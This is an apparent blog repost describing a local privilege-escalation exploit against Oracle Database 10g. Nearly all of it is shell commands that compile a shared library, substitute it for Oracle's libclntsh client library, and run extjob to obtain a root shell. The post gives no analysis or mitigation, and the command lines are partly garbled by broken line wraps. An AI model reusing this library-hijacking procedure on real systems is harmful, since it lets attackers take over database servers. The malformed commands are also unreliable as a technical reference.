[导入]Oracle Database Local Untrusted Library Path Vulnerability

Spirit's blog ( http://www.fuckhacker.net/ ) :

$ cc test.c -fPIC -o test.so -shared
$
mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2 \
/home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2 $ mv
test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
$ $ORACLE_HOME/bin/extjob
[+] It works! Root shell...



阅读全文


文章来源:http://www.fuckhacker.net/?action=show&id=241
posted @ 2008-11-30 16:38  Vocoo  阅读(68)  评论(0编辑  收藏  举报